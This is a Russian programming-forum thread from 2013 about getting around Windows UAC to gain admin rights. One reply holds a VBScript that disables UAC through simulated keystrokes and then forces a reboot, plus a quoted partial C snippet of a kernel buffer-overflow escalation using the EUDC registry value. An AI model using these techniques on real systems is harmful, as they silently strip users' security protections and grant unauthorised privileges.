Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Низкоуровневое программирование > Win Api
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 27.10.2013, 12:25   #11
Alex11223
Старожил
 
Аватар для Alex11223
 
Регистрация: 12.01.2011
Сообщений: 19,500
По умолчанию

Тут http://stackoverflow.com/questions/5...indows-startup предлагают использовать Tasks Scheduler:
Код:
schtasks /create /sc onlogon /tn MyProgram /rl highest /tr "exeFullPath"
Ушел с форума, https://www.programmersforum.rocks, alex.pantec@gmail.com, https://github.com/AlexP11223
ЛС отключены Аларом.
Alex11223 вне форума Ответить с цитированием
Старый 27.10.2013, 13:05   #12
vadimych
Форумчанин
 
Регистрация: 16.01.2011
Сообщений: 325
По умолчанию

Цитата:
2) инжек либы в процес с правами админа
Жеклёры сначала продуй.
vadimych вне форума Ответить с цитированием
Старый 27.10.2013, 13:54   #13
Человек_Борща
Старожил
 
Аватар для Человек_Борща
 
Регистрация: 30.12.2009
Сообщений: 11,426
По умолчанию

Цитата:
Вижу 2 возможных варианта:
1) Сбросить UAC
2) инжек либы в процес с правами админа и работать там !
Оба действия требуют наличия UAC для их выполнения.
В любом случае, не годятся.
Человек_Борща вне форума Ответить с цитированием
Старый 28.10.2013, 19:17   #14
fucil
Форумчанин
 
Регистрация: 24.02.2010
Сообщений: 148
Восклицание

Судя по всему первый запуск будет в любом случае от админа или я ошибаюсь ?

Тогда кто запускает первый раз софт:
1) Пользователь
2) Авторан виндовса
3) Сторонний софт
?????

Этого одного раза хватило бы с головой, если нет то проверить под какими правами мы запустились, далее выполнить пункты 1 или 2 и после работать уже под админом!

И вот ещё на закуску, можно сбросить UAC через:
1) VBS без прав админа !
Код:
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.SendKeys("^{ESC}")
WScript.Sleep(500)
WshShell.SendKeys("change uac")
WScript.Sleep(2000)
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{ENTER}")
WScript.Sleep(2000)
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{DOWN}")
WshShell.SendKeys("{TAB}")
WshShell.SendKeys("{ENTER}")
//Тут есть одно но, чтобы выбранные изменения вступили в силу, систему нужно перезагрузить
WshShell.Run "shutdown /r /f"
2) Переполнениебуфера
Цитата:
Казалось бы, какая связь между переполнением буфера и UAC? Оказывается, таящиеся в Windows баги позволяют обойти ограничения UAC и повысить свои права. Сегодня я покажу на конкретном примере, как при помощи тривиального переполнения буфера можно обойти UAC и добиться администраторских прав.
Есть такая WinAPI — RtlQueryRegistryValues (msdn.microsoft.com), она используется для того, чтобы запрашивать множественные значения из реестра одним своим вызовом, что делается с использованием специальной таблицы RTL_QUERY_REGISTRY_TABLE, которая передается в качестве __in__out параметра.
Самое интересное (и постыдное для разработчиков Microsoft) в этой API то, что существует определенный ключ реестра, который можно изменить при помощи ограниченных пользовательских прав: HKCU\EUDC\[Language]\SystemDefaultEUDCFont. Если сменить тип этого ключа на REG_BINARY, то вызов RtlQueryRegistryValues приведет к переполнению буфера.
Когда ядерная API-функция Win32k.sys!NtGdiEnableEudc запрашивает ключ реестра HKCU\EUDC\[Language]\SystemDefaultEUDCFont, она честно предполагает, что этот ключ реестра имеет тип REG_SZ, так что в буфер передается структура UNICODE_STRING, у которой первое поле является типом ULONG (где представлена длина строки). Но так как мы можем изменить тип этого параметра на REG_BINARY, то систему это ставит в глубокий тупик и она неправильно интерпретирует длину передаваемого буфера, что приводит к переполнению стека.

Код:
UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); 
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
__try
{
    EnableEUDC(TRUE);    
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);
источник http://habrahabr.ru/company/xakep/blog/122272/

Последний раз редактировалось fucil; 28.10.2013 в 19:54.
fucil вне форума Ответить с цитированием
Старый 28.10.2013, 23:30   #15
waleri
Старожил
 
Регистрация: 13.07.2012
Сообщений: 6,330
По умолчанию

Цитата:
Сообщение от fucil Посмотреть сообщение
Вы бы хоть коменты там почитали...
Ну а про "багу" что можно менять HKCU без привилегий я вообще молчу...
waleri вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
CreateProcess и UAC XeruH Общие вопросы Delphi 0 02.04.2013 22:16
uac manifest fucil Общие вопросы Delphi 3 10.05.2012 02:02
Автозагрузка, каталог "Автозагрузка" создается повторно (Win7 x32) MyIE Общие вопросы Delphi 10 29.03.2012 07:49
Delphi vs UAC dyonysos Общие вопросы Delphi 0 02.05.2010 20:02